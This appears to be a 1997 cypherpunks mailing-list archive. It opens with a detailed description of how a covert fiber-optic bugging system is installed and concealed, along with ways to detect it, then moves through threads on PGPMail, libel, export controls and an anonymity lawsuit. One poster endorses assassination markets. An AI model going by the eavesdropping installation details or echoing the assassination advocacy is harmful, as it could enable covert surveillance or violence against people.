>Current drain is around 40ma at 50mw, and much lower for 5mw output.
>
>Product is extremely stable, with adjustable deviations (to +/1 100khz)
>
>Integral tietack microphone
>
>Radio Shack will sell the xmitter only for around
>50 bucks (I bought several to eval)
>
> ===============================================================
>
>Recently had access to some of the new fiber optic devices out there and
>wanted to post some of the techniques by which they can be detected.
>
>
>Subject device optics are made by Corning Glass, and consists of three
>components. The "electronics" are manufactured by E-systems in Dallas, TX.
>
>
>The entire installation kit fits into two 18 * 22 * 7 briefcases made by
>SKB, the first case contains a battery powered automatic fusion
>splicer/LID, equipment to test the installation, and a tool kit. The second
>case contains the microphones, spools of "cable", optical modules,
>controllers, and battery packs
>
>
>1. "Front-End Microphone" is a small glass cylinder roughly 2.5mm wide x
>5mm long with a small 1.5mm long pinhole tube on one end, and a 3 to 12 ft
>50/125 fiber tail on the other. This part of the system is designed to be
>installed "pinhole" style. Pigtail cable is routed to and fusion spliced
>into a "Runner Cable". The microphone contains small barbs to keep it in
>position with out the use of adhesives. A small 2.5mm needle drill bit is
>used to drill the hole.
>
>2. The "Runner Cable" is a 50um/125um fiber optic bundle, typically 3 to 8
>fibers are combined to allow a single runner to support 6-8 devices. This
>cable is flat and measures roughly 125um high, and .75 to 1mm wide. Cable
>has a min. bend radius of 4cm, and is field terminated with a small
>automated fusion splicer to the "Front-End Microphone". This cable can be
>left loose or secured with an adhesive. Installation kit contains a small
>flexible installation tube to assist in installing below carpet or behind
>wood panelling.
>
>3. The "Repeater" consists of a disguised box roughly 15cm x 5cm x 5cm,
>with an optional battery pack/power supply/trickle charger (15cm x 10cm x
>5cm) or the device can be powered directly off of AC Mains. The repeater
>can be easily installed and hidden in a cinder block or concrete on an
>outside wall. It looks like the device is for long term installations, it
>is totally sealed and the electronics have conformal coatings/potting.
>
>Device appears to emit a RF digital signal using 64/128/256 QAM Spread
>Spectrum modulation on programmable frequencies between 1.5ghz and 8.5 ghz.
>Modulator is contained into a "flat-pack" style antenna module. A 512kbps
>baseband signal is supplied to the antenna (bit stream can go as high as
>2mbps, the one I examined was set for 512).
>
>Note: The "repeater" supplies the antenna with a baseband signal, control
>codes, and power. The modulator/transmitter is contained in the antenna.
>
>The device uses an RF guard channel that is used to deactivate all
>emissions (Go Mute) upon remote command.
>
>The "repeater" utilizes 8 fiber outputs (it has 8 field replacable optical
>modules), and one min. SMA connector for the baseband output. Suspect the
>device can also be be uploaded with transmision times. It also contains
>sufficent memory (32mb) to hold a good 4 hours or more of compressed audio.
>
>Repeater can also transmit (Spread Spectrum) over telco or power lines with
>a small adapter (I was not able to secure the frequencies, but I suspect
>somewhere between 200khz and 3 mhz).
>
>
>Device Operation:
>
>System uses a 50/125 Raw fiber optic distribution system, the fiber is
>coated, but not jacketed or buffered in any way. The fiber has a frequency
>response between 1230 to 1550/1710? single mode. I suspect it is standard
>single mode (1500nm) fiber strand.
>
>The "Repeater" contains a low power single mode solid state light source, a
>duplexer/splitter (prism), and a light reciever. The light beam is
>transmitted into the fiber, travels to the "Front-End" where it is is
>reflected against an angled vibrating membrane. The membrane causes a
>slight frequency shift in the light beam, which is reflected back to the
>"Repeater" where it is "picked" off with a prism and solid state detector.
>(typical fiber optic microphone).
>
>
>Counter-Measures:
>
>There is NO METAL in the microphone or fiber distribution system, and they
>CANNOT be detected by a Non-Lin (no non-linear junctions). Nor can they be
>detected with metal detectors, and no electro-magnetic field is present on
>the "Front End".
>
>The "Repeater" section is fairly to detect with a non lin, but since it is
>supposed installed into the outside wall it tends not to be practical. The
>ideal way to detect is to sweep the exterior of the building for RF
>emissions. Also, the unit tends to run VERY hot (110-135 degrees), and
>should be visible as a thermal anomally.
>
>Also, the system can be detected by looking for minute amounts of light
>"leaking" from both the microphone, fusion couplings, and fiber
>distribution system.
>
>The pinhole for the microphone can be detected with a IR visual search
>around 440 to 450nm (you'll need a light source with at least 500,00 candle
>power, the Blue Light Ultra works well, or an Omnichrome).
>
>Once a suspect pinhole is found it can be tested for IR with a conventional
>Spectrum Analyser with a IR front end (the Tektronix SA-42 or SA-46 works
>well). There is always a small amount or IR leakage with this system.
>
>Once the microphone is detected it is a fairly simple matter to trace the
>line back to the controller module or "Repeater"
>
>Keep in mind that the system is designed to use 3 to 8 microphones.
>
>
>I am going to get a look at an OC-12 clamp-on fiber optic tapping system in
>a few weeks and will advise.
>
> ===============================================================
>
>
>As always,
>Please treat this information as highly confidential and
>please do not redistribute, Thank You
>
>
>Regards,
>
>-jma
>
> ===============================================================
>         Train, Observe, Detect, Protect, Defend, Repel
> ===============================================================
>  James M. Atkinson
>  Granite Island Group - TSCM.COM
>  127 Eastern Avenue #291                 http://www.tscm.com/
>  Gloucester, MA 01931-8008                  jmatk@tscm.com
> ===============================================================
>      The First, The Largest, The Most Popular, and the Most
>      Complete TSCM Counterintelligence Site on the Internet
> ===============================================================
>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 30 Jan 1997 23:44:40 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199701310744.XAA06988@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > 
> > * The 1st Amendment does protect some lies.
> 
> No, it protects speech. The Constitution is meant to protect citizens from a
> priori constraints on their speech, not the results of the content ex post
> facto.
> 
> It is clearly not in the best interest of society to limit opinions or
> fiction.
> 
> > If I say "Jim Choate is a
> > Venusian albatross," the statement is probably (?) a lie,
> 
> No, for it to be a lie there must be a potentiality of its truth. A nonsense
> statement which happens to fit the syntactical rules of a language wouldn't
> qualify.

I can give you an example.

``Jim Choate invented an improved bubble sort method, called BSAM.''

This is undoubtedly false since you likely did not invent any sorting
method. But you would not be able to get any damages (is that correct?)

> The legal standard should be that if you make statements purported to be
> true about a third party without their prior consent you should be held to
> a minimum standard of evidence demonstrating the actuality of your statement.

When you say "should", what do you mean? That the current law will
hold you to a minimum standard of evidence?

Or you mean that it would be nice if it were so?

> A democratic society should have no tolerence for libel, slander, or other
> forms of lies.

Why? And who decides what is a lie?

> > * Many 1st Amendment experts don't believe in the legal concept of libel. 
> > It is, they say, a rich man's game
> 
> Exactly, instead of equal protection under the law we have a specieocracy.

... and then 20 lines later: 

> In civil cases the plaintiff should place a bond, set at some percentage of
> the maximum permissible award, at the time the case is filed. This would at
> least cover the general costs of the court and limit nuisance cases.
> 

You can either oppose "specieocracy" and inequality of rich and
poor in libel litigation, or ask to place bonds that will make even
harder for the poor to sue, BUT NOT BOTH, if you want to remain logical.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 31 Jan 1997 00:33:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail 4.5 Released!
Message-ID: <199701310833.AAA08421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

PGPMail 4.5 is now available for ordering from PGP Inc.  

If you have Digicash or a credit card, you can order from the home page.  (I
would not recommend the credit card option though.  The form claims that it
is encrypted with SSL, but the info will be sent in the clear.  Someone needs
to have a talk with their web master...  This is not the first security
problem with their pages.)

In using the betas, I have been pretty impressed.  It works with Eudora
seamlessly.  (Enough that I did not notice that it had installed itself
automatically instead of having to do a seperate install as the documentation
claimed.)  The program beats out any of the plug-ins and front-ends for
integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
2.6.2 users, well worth the price...

Disclaimer:
I have no financial stake in PGP Inc, not do I have controling interest in
the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
reproduce the descriptions of major league baseball games without permission
of the commisioner of Gotham City.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
=0TfD
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 05:57:56 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701311357.FAA14264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> "When I talk to other governments," [David L. Aaron] said, 
> "they still don't feel that the cat is out of the bag."

Aaron's denying that the cat is out of the bag?
He was fashionably dressed in a Lion Tamer's outfit,
waving a whip, and trying to herd hundreds of small furry mammals
to jump through a hoop and back into a clawed-up army duffel-bag!
"Cats?  Haven't seen any cats around here!  Pay no attention to these,umm,
Siberian Hamsters that I'm evaluating for export approval."

> "Other governments were upset with the 56-bit export allowance. 
> They said it was going to undermine their national security."

On this point, the other governments are correct.
It really _is_ tougher to maintain a nation-state when your
former subjects can have private conversations with each other
and with other governments' former subjects......
And even 56 bits is a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 12:04:54 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701312004.MAA21458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> "When I talk to other governments," [David L. Aaron] said, 
> "they still don't feel that the cat is out of the bag."

Aaron's denying that the cat is out of the bag?
He was fashionably dressed in a Lion Tamer's outfit,
waving a whip, and trying to herd hundreds of small furry mammals
to jump through a hoop and back into a clawed-up army duffel-bag!
"Cats?  Haven't seen any cats around here!  Pay no attention to these,umm,
Siberian Hamsters that I'm evaluating for export approval."

> "Other governments were upset with the 56-bit export allowance. 
> They said it was going to undermine their national security."

On this point, the other governments are correct.
It really _is_ tougher to maintain a nation-state when your
former subjects can have private conversations with each other
and with other governments' former subjects......
And even 56 bits is a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Murray Hayes <mhayes@infomatch.com>
Date: Sun, 2 Feb 1997 02:11:06 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: GSM technology
Message-ID: <199702021011.CAA16465@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997 13:37:38 -0800, Lucky Green wrote:

>At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>>	Does anyone use ADSL lines?  or are they still very expensive?
>
>I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.
>

I'm not sure about Nortel but ADSL is availible in Calgary from CadVision.
http://www.cadvision.ca

It's not cheap.

BCTel is yapping about offering it by the end of the year.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Thu, 30 Jan 1997 23:41:40 -0800 (PST)
To: Mail45 <mail45bugs@pgp.com>
Subject: Log File a security hole?
Message-ID: <199701310741.XAA06887@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a way to disable the \WINDOWS\PGPW_32.LOG?
In subtle ways it's a security hole if left to accumulate over time,
since it keeps records of which keys you encrypted messages to.

(Imagine somebody using an anonymous remailer but g-d forbid is 
unaware of this log file, and somebody discovers that messages were 
encrypted to such a beast...)

I understand in certain group/corporate environs one would want 
logging; in others, one doesn't need it or should have the option (in 
an easily found place) to wipe it every once in a while.




-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: digitalis@alias.cyberpass.net
Date: Fri, 31 Jan 1997 05:57:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGPMail Log File
Message-ID: <199701311357.FAA14263@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

< WlkngOwl@unix.asb.comwrote:
> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
> In subtle ways it's a security hole if left to accumulate over time,
> since it keeps records of which keys you encrypted messages to.

> (Imagine somebody using an anonymous remailer but g-d forbid is 
> unaware of this log file, and somebody discovers that messages were 
> encrypted to such a beast...)

> I understand in certain group/corporate environs one would want 
> logging; in others, one doesn't need it or should have the option (in 
> an easily found place) to wipe it every once in a while.

This is a damn good question.  I do NOT have the "write to a log file" option slected in the misc. tab and it STILL writes a log file.  How DO we disable this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 05:55:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Mail
Message-ID: <199701311355.FAA14138@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone know if PGP Mail works well with Netscape?
I remember hearing about some problems, but don't recall seeing
anything indicating they were fixed.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Fri, 31 Jan 1997 05:56:32 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: PGPMail 4.5 Released!
Message-ID: <199701311356.FAA14241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!


At 11:36 PM 1/30/97 -0800, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>PGPMail 4.5 is now available for ordering from PGP Inc.  
>
>If you have Digicash or a credit card, you can order from the home page.  (I
>would not recommend the credit card option though.  The form claims that it
>is encrypted with SSL, but the info will be sent in the clear.  Someone needs
>to have a talk with their web master...  This is not the first security
>problem with their pages.)
>
>In using the betas, I have been pretty impressed.  It works with Eudora
>seamlessly.  (Enough that I did not notice that it had installed itself
>automatically instead of having to do a seperate install as the documentation
>claimed.)  The program beats out any of the plug-ins and front-ends for
>integrating PGP and e-mail that I have seen yet.  And for $29.95 for PGP
>2.6.2 users, well worth the price...
>
>Disclaimer:
>I have no financial stake in PGP Inc, not do I have controling interest in
>the financial affairs of Mr. Zimmerman, liens on the souls of the damned,
>control of the Aluminum Bavariati, eyes as big as my stomach, or the rites to
>reproduce the descriptions of major league baseball games without permission
>of the commisioner of Gotham City.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBMvGgneQCP3v30CeZAQH6Twf9HiZQKt7j0SaB+bNRfrZv/zM3/K7F019Y
>BfLE/OipkeWQQQNDm4KNbz36y58lBhZdXPTuJuyPoICrR3ixNbTz1+DVi3We3ARz
>9OspLf74X9hGCw+oJxLTpG2zznBARH6rQ2Bsjh7orvrnvYLlmhjhnEkrShb2BhW6
>WuDSdmBfz7yk9iUFVzK6TAcxDv/gLH/hjS6PoTFtwoPKDp9aca4jPzr9scLUhETo
>66qPdtLF8TYwzc5+G5/m6w7PJTCf/uyba7OyJ0EYqBDKR4AzqTaL4ZPMUQ8gw1DN
>F0O/RhbaJMfRDtTQMNaMjR8tZXtO8fFrnQg9SC0jeoZ0/rhOy+0BnA==
>=0TfD
>-----END PGP SIGNATURE-----
>
>---
>|   If you're not part of the solution, You're part of the precipitate.  |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 05:56:01 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701311356.FAA14178@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:10 AM 1/31/97 -0800, Bill Stewart wrote:
>On this point, the other governments are correct.
>It really _is_ tougher to maintain a nation-state when your
>former subjects can have private conversations with each other
>and with other governments' former subjects......
>And even 56 bits is a start.

You don't have to be nice to nation states you meet on the way up if you're not coming back down.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 31 Jan 1997 05:56:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: permanent e-mail adress..
Message-ID: <199701311356.FAA14225@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

to get a list of more than 50 permanent e-mail adress services (a la
hotmail) send a _blank_ message to <fwdlist@netdirectories.com>...

Have fun :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuyaBzltEBIEF0MBAQH3kgf9EZUZnjv12RzGstwMbz0+1TnPUyPPM94e
B6xuj1GAiFnabsLsDrc7yq3US+jnkDXz6kp7fCmLgP2m1ULYza8uNLSbYMBoHGJz
SutSmhZrM3U220ZAnNiqVgMCVgma0Tj260bpnktZKWJtE5HhtNEz0VSmj4pusJ2K
jWhc1BMhzYBhekMsxnyFyDsusjrHBumDTYoHG5ehqV2wDHzPUxvv9/4HDjrEaROT
LcMA/J9JoKkDY6yLCjQ4q5/3aq58vBxbGlm7KilbjccffuyJRqWurwAaIBolLIqB
X9mh8De6ubC/E2KfHVii+eXjDgliShQRt+8Fr4EfJeOLJu4qanIZHg==
=1Ulw
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 31 Jan 1997 21:27:18 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Intelligence Update (fwd)
Message-ID: <199702010527.VAA05255@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/30/97 -0800, you wrote:
>>Note: According to a recently obtained DOJ surveillance training manual:
>>"The typical range for the 28 ghz devices is six miles, the typical 
>>range of the 2.4 ghz is thirty miles, and the typical range for the 
>>1.7ghz  is 44 miles."

How sure are you about the quality of your sources here?
I'd expect 1.7ghz and above equipment to require line of sight,
and even a range of six miles seems really high for a very low power
device - getting that as "typical" seems pretty unlikely.
Could all of these figures have been 6, 30, and 44 _meters_ instead? :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 31 Jan 1997 09:07:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Georgia court hears testimony in anonymity case, from TNNN
Message-ID: <199701311707.JAA17988@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 31 Jan 1997 08:33:44 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Georgia court hears testimony, future of free speech, from TNNN

The Netly News Network
http://netlynews.com/

Brick By Brick
by Declan McCullagh (declan@well.com)
January 31, 1997
   
   ATLANTA, Ga.-- A federal judge heard testimony yesterday in a landmark
   case challenging a Georgia law that forbids anonymity online.
   
        The ACLU filed the lawsuit -- the first-ever challenge to a state
   Net-censorship statute -- last September on behalf of 14 plaintiffs,
   arguing that the statute is unconstitutional. The law also
   criminalizes the "unauthorized" use of company names online. It is so
   broadly written, the ACLU claims, that America Online screen names
   could be considered illegal.
   
        Yesterday's hearing was designed to educate U.S. District Court
   Judge Marvin Shoob about the Net, in much the same way that lawyers
   educated a three-judge panel that struck down the Communications
   Decency Act in Philadelphia in June 1996. It began with a Georgia Tech
   professor who painstakingly demonstrated how the Internet works. "This
   pointing device in the middle of the screen is the cursor," he said.
   
        The lawsuit is one of many that will shape the future of free
   expression in cyberspace -- and new media. The Georgia challenge seems
   straightforward, but in truth is a key part of the ACLU's strategy to
   cement a foundation of legal precedents that will build on one
   another, brick by statutory brick, and solidify into a framework for
   free speech on the Internet.
   
        The most fierce battlefield, however, will be in state capitols
   and courtrooms like these. More than 20 states already have launched
   various offensives against the Net, but the ACLU is choosing its
   battles carefully. Depending on how Judge Shoob rules, near-perfect
   anonymous speech may, for the first time in history, be completely
   legal -- at least in one federal district. In a move that could derail
   congressional attempts to rehabilitate the CDA if the high court
   strikes it down, the ACLU assailed a New York State law banning sexual
   images that are "harmful to minors." The organization also is planning
   to sue in Virginia, Florida and California, highlighting a different
   legal point in each case.
   
        True, the decisions won't be binding on other courts -- unlike,
   say, a U.S. Supreme Court ruling -- but in such a new area of the law,
   judges will grasp at even district court precedents. "You can't
   underestimate the importance," said ACLU attorney Chris Hansen. "The
   law works through precedent. Each case builds on the one before it."
   
        Key to the strategy is the argument that states can't regulate
   speech on the Internet at all. It's a nuclear bomb of a legal theory,
   which relies on the Constitution's commerce clause and on Supreme
   Court cases that bar states from controlling "commerce that takes
   place wholly outside of the state's borders." The coalition's brief
   offers Usenet newsgroups as an example: "The posting of this message
   in California, therefore, may subject the California author to
   prosecution in Georgia under the Act."
   
        The state countered that local standards should always apply.
   Daniel Formby, Georgia's deputy attorney general, said yesterday: "You
   do not have to enter a state to violate its laws."
   
        Free-speech victories in states such as Georgia would permit
   netizens to bypass the strict controls on television and radio that
   ban the transmission of "indecent" words or images. When the Internet
   starts carrying movies and soaps, the stronger free-speech standards
   of cyberspace will extend to those broadcasts. "We gain stronger First
   Amendment rights for other media when they converge, as the Internet
   absorbs other technologies," said ACLU attorney Ann Beeson.
   
        Sitting quietly in the rear of the Atlanta courtroom throughout
   the hearing was State Rep. Don Parsons, who with the Democratic
   leadership introduced the Georgia law last spring. Parsons insists
   the ACLU's challenge is wrongheaded. Does the law ban anonymous
   speech? "Certainly not! Absolutely not!" he claimed. So what was the
   purpose behind the the law? To prevent fraud, said Parsons.
   
        But that's not what I found. The genesis of the bizarre Georgia
   law lies not in policies as much as in rank statehouse politics.
   
        I went looking for Georgia's Speaker of the House and found him
   in his office. He leaned back in his chair and chewed on a cigar. A
   72-year old Democrat, Thomas Murphy has reigned over the state House
   of Representatives for 24 years from an office studded with stuffed
   rabbits and bobcats and conveniently adjacent to the House floor.
   
        Yesterday, he declined to discuss the measure. "I can't tell you
   anything about it because I don't know anything about it or computers
   or the Internet or anything like that," he said.
   
        But he knows politics, and his enemies, especially Rep. Mitchell
   Kaye, a fellow who fancies himself the Newt Gingrich of the Georgia
   legislature. Like Gingrich, Kaye is a technocratic Republican hailing
   from bluenose Cobb County, and like pre-1994 Gingrich, he sees himself
   as waging guerrilla warfare against a corrupt and entrenched
   Democratic majority. Dem leaders are equally uncomplimentary. "None of
   us likes Mr. Kaye... No manners towards anyone. He tries to cause all
   the confusion he can," Speaker Murphy grumbled.
   
        Indeed, the whole statutory mess began shortly after Kaye created
   his own web site, www.gahouse.com, which he uses to post legislation,
   contact information and some partisan pages for his conservative
   caucus. It proved popular, drawing thousands of visitors a week -- and
   the wrath of lawmakers such as Speaker Murphy, longtime veterans of
   traditional machine politics. It was Kaye's use of the state seal on
   his site -- even with appropriate disclaimers -- that handed Democrats
   a way to muzzle him through the law the ACLU has challenged.
   
        The irony is, of course, that the Georgia Democrats never
   intended to ban all anonymous and pseudonymous discussions. They never
   believed they'd be attacked in court by a team of New York City
   lawyers. But by punishing anyone who "uses any individual name... to
   falsely identify the person" -- even without intent to deceive --
   their law censors not just Mitchell Kaye, but netizens as well.
   
       "The last thing they want is sunshine on this case," said the
   upstart Republican, who joined the suit as one of the plaintiffs.
  "They pass a lot of unconstitutional legislation around here."
   
###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 31 Jan 1997 07:10:56 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Geiger and long, unreadable lines
Message-ID: <199701311510.HAA15741@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199701311303.GAA01678@infowest.com>, on 01/31/97 at 12:58 PM,
   "Attila T. Hun" <attila@primenet.com> said:


>    If Geiger's software works as well as his ongoing comprehension of
>    the problem 90 to 100 character long mail message lines cause, we
>    are all in trouble.

>    mail which might be forwarded, commented a few times, etc. really
>    works best with 72-74 characters maximum per line.

Well considering that we are approaching the 21st Century I think it is a
little silly that one should have to worry about the line length in an
e-mail message. Even the dos based programs from the 80's could handle
wordwraping of displayed text.

<sigh> for the benifit of those misfortunate enough to be still working on
dumb terminals I have disabled my PGP script until I have time to add a
word wrap routine to it.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
----------------------------------------------------------- 
Tag-O-Matic: One man's Windows are another man's walls.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Jan 1997 09:00:32 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701311700.JAA17860@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[big snip]
>If every time someone made a mistake they got
>punished, without the opportunity to understand the error and without the
>opportunity to make corrections, they would be a psychological wreck.

Yes, you have certainly pointed out a property of AP, insofar as teaching
is concerned.  The reality of the physical world is that some mistakes, for
example steping off a cliff, are immediately punished by a fall and
possibly death.  The 'student' may or may not learn for the experience but
other students who are witness most certainly will.

>If every time someone made mistake they got assassinated, not only would no
>one wish to do anything for fear of losing their lives, creating a
>"society" of timid sheep, there probably wouldn't be many people remaining
>to savor the triumph of being superior.

I sincerely doubt that many would use AP to right small slights, anymore
than many now kill others for the same reasons.  The world has always been
inhabited by bullies and tyrants who cared little of what harm they caused
others.  An AP system would quickly eliminate bullies and tyrants.

>
>AP is just another form of war.   You can bet that if assassinations
>increased a hundred fold as a result of your method, not only "governments"
>but some very bright people would get together to figure out a defense
>against it, for they also would be "at risk".

I think the reaction of the society as a whole to AP would depend on what
its perceived overall results were.  If assassinations of scum and tyrants
increased a hundred fold it would hardly be noticed on any political radar
screen, except the bullies and tyrants.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 31 Jan 1997 09:16:11 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701311716.JAA18173@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Its worth noting that the origin of property is theft. In the case of the
>
>    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
>that _my_ property is the result of ME stealing, and hence what I OWN belongs
>to the community IS theft. I work, and as the result of that work something is
>created. That something is MINE to do with as I will. If I choose to sell that
>work for money, that money is mine. If I trade that money for shoes, those
>shoes are mine. THere is no theft involved.

Tell this to the Native Americans.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@exabyte.com>
Date: Fri, 31 Jan 1997 09:06:26 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
